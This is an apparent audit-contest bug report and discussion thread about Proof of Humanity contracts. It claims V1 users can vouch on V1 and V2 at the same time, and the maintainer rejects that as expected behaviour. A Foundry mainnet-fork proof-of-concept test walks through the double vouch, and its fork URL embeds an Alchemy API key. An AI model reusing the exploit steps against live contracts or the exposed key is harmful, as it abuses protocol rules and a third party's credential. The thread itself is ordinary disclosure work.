V1 Users Can Vouch on Both V1 and V2 Contracts Simultaneously, Bypassing Vouching Restrictions

[hats-bug-reporter[bot]]

Github username: @0xmahdirostami Twitter username: 0xmahdirostami Submission hash (on-chain): 0x0c901481ecb071b3535752568fbe8cfab94035a861d790116819a298a43c4263 Severity: medium

Description:

Vulnerability Detail

The vulnerability lies in the advanceState function, which is supposed to ensure that users can only vouch for one Humanity ID at a time to prevent abuse. However, the function only checks if a user has already vouched on the V2 contract and fails to account for vouches made on the V1 contract.

if (isValid) {
                // If voucherAccount is null, voucherHumanityId will be null too which cannot be claimed (so it will fail the conditions)
                bytes20 voucherHumanityId = accountHumanity[voucherAccount];
                voucherHumanity = humanityData[voucherHumanityId];
                if (
                    voucherHumanity.owner == voucherAccount && block.timestamp < voucherHumanity.expirationTime
@>                // It just checks for vouching in v2
@>               && !voucherHumanity.vouching 
                    && voucherAccount != _claimer
                ) {
                    request.vouches.push(voucherHumanityId);
                    voucherHumanity.vouching = true;

This oversight allows a v1 user to vouch for a Humanity ID on V1 and v2 contract Simultaneously. This effectively bypasses the vouching restriction, allowing users to vouch for multiple claims at the same time across different contract versions.

Proof of Concept

Below is a test case that demonstrates this vulnerability:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {ProofOfHumanityExtended} from "./../contracts/extending-old/ProofOfHumanityExtended.sol";
import {ProofOfHumanityOld} from "./../contracts/extending-old/ProofOfHumanityOld.sol";

import {ForkModule} from "./../contracts/extending-old/ForkModule.sol";
import {Test, console} from "forge-std/Test.sol";

contract testest is Test {
    ProofOfHumanityExtended dappExtened;
    ProofOfHumanityOld dappOld;
    ForkModule dappFork;
    address PROOF_EXTENDED = 0x87c5c294C9d0ACa6b9b2835A99FE0c9A444Aacc1;
    address PROOF_LEGACY = 0xC5E9dDebb09Cd64DfaCab4011A0D5cEDaf7c9BDb;
    address FORK_ADDRESS = 0x116cB4077afbb9B5c7E0dCd5fc4Ce943Ab624dbF;
    address V1_USER = 0x9359E6A126d25D75F73669B29ca666df12D834D7;
    address V2_USER = address(0x123);
    bytes20 V2_USER_HUMANITY = bytes20(V2_USER);
    address V1_ALICE = address(0x1231321321);
    address[] vouchesv1;
    uint256[] _expirationTimestamps;
    bytes[] signsV1;
    address[] vouches;
    ProofOfHumanityExtended.SignatureVouch[] signs;

    function setUp() public {
        vm.selectFork(vm.createFork("https://eth-mainnet.g.alchemy.com/v2/fV8cUeLgLQfDIH3Mn5DgQKjevwy03fvr", 20620123));
        dappExtened = ProofOfHumanityExtended(PROOF_EXTENDED);
        dappOld = ProofOfHumanityOld(PROOF_LEGACY);
        dappFork = ForkModule(FORK_ADDRESS);
        vm.deal(V1_USER, 100 ether);
        vm.deal(V1_ALICE, 100 ether);
        assert(dappFork.isRegistered(V1_USER) == true);
        vm.prank(address(0x03C640F8D650a437c10f1Ae7b27776b6AeC89224));
        dappExtened.changeRequiredNumberOfVouches(1);

        vm.prank(address(0x327a29fcE0a6490E4236240Be176dAA282EcCfdF));
        dappOld.changeRequiredNumberOfVouches(1);
    }

    function testF() public {
        // v1 old
        // Alice request to claim
        vm.prank(V1_ALICE);
        dappOld.addSubmission{value: 10 ether}("first", "first");
        // v1 user voches for it
        vm.prank(V1_USER);
        dappOld.addVouch(V1_ALICE);
        // v1 advance state (vouch used)
        vouchesv1.push(V1_USER);
        _expirationTimestamps.push(100000000);
        dappOld.changeStateToPending(V1_ALICE, vouchesv1, signsV1, _expirationTimestamps);

        // v2
        // v2 user request to cliam
        vm.prank(V2_USER);
        dappExtened.claimHumanity{value: 10 ether}(V2_USER_HUMANITY, "first", "first");
        // v1 user again vouch here
        vm.prank(V1_USER);
        dappExtened.addVouch(V2_USER, V2_USER_HUMANITY);
        // v2 advance state (vouch used again)
        vouches.push(V1_USER);
        dappExtened.advanceState(V2_USER, vouches, signs);
    }
}

As you could see V1_USER vouch in v1 and v2 for different users Simultaneously.

[aktech297]

I think POH extended version has this check where both v1 and v2 interaction happened. Where the logic check the registered in fork contract and then vouch flag is updated. First time it will be updated. Second time , the same would validated. I think you read on the proofofhumanity contract

[0xmahdirostami]

@aktech297 I wrote a POC that use POH extended version, you could check it.

[aktech297]

@aktech297 I wrote a POC that use POH extended version, you could check it.

Will check. But I was thinking the same. But didn't get time to spend more on it

[clesaege]

Vouching on V1 and V2 are disconnected. Profiles created after the fork are not valid on V2.

So this is the expected behaviour.

[0xmahdirostami]

@clesaege

V1 user will not register after fork.

A normal v1 user could vouch on v1 contract, and then vouch on v2 extended contract.

Please review the test:

v1 user vouches for V1_ALICE. now he could still vouch in v2 contract.

[0xmahdirostami]

@clesaege

v2 extended contract doesn't check if v1 user already used his vouch on v1 or not.

All users expect to be able to vouch on time for a time, but v1 users could be able to vouch two times Simultaneously.

[clesaege]

When V2 starts, for the purpose of V2, V1 registrations are not possible. So far the report has only described expected behaviours.

[0xmahdirostami]

@clesaege

I will give a scenario here: v1 user (whose submissionTime is before fork time) vouches for humanity X on humanity old contract. The correct check in advncestate in extended contract allows this user to vouch in v2 extended as well.

How vouches work: a user vouches for other user's request, and will wait until the result of the request (couldn't vouch again during this time), if the result shows that the request was malicious user will lose his humanity.

So now what is the impact of being available to vouch two times. That is mean: means that if this v1 user is malicious, he could vouch two time instead of one.

[0xmahdirostami]

@clesaege

if you are saying that you're not care about vouches after fork time in v1 old contract.

let me describe another scenario:

1. Alice is a user in v1 old contract, he vouches for bob, the result of Bob's request come out, but process vouches haven't called yet.
2. v2 contract deployed
3. Now Alice could vouch again in v2 extented, despite the fact that he is already vouches for Bob's request in v1 before fork time.

By this scenario i just want to mention that there is a chance that some vouches(for the time before fork) will not process, but v2 extended overlook them.

• The code must be in a way that allows Alice one vouch. (in v1 old or v2)

[clesaege]

That is mean: means that if this v1 user is malicious, he could vouch two time instead of one.

He could vouch one time of V1 and one time on V2. This is the expected behaviour. Note that the profile he vouched for will not count for V2 as it will have a registration time post fork.

[0xmahdirostami]

Note that the profile he vouched for will not count for V2 as it will have a registration time post fork. @clesaege

• If Bob vouches for Alice before fork time in v1 old.
• Alice get humanity ID before fork time in v1 old.
• however, vouches doesn't process yet
• fork time happen
• Bob could still vouch on v2

after deploying v2 contract, there are some remain vouches that doesn't process, those should considered, because those that vouched for them are count in v2.

[clesaege]

• If Bob vouches for Alice before fork time in v1 old.
• Alice get humanity ID before fork time in v1 old.
• however, vouches doesn't process yet
• fork time happen
• Bob could still vouch on v2

I see no problem there, process vouches can be called by anyone, needing to process vouches is a technical need, not a logical need. So from a "logical" perspective her vouches are not in use.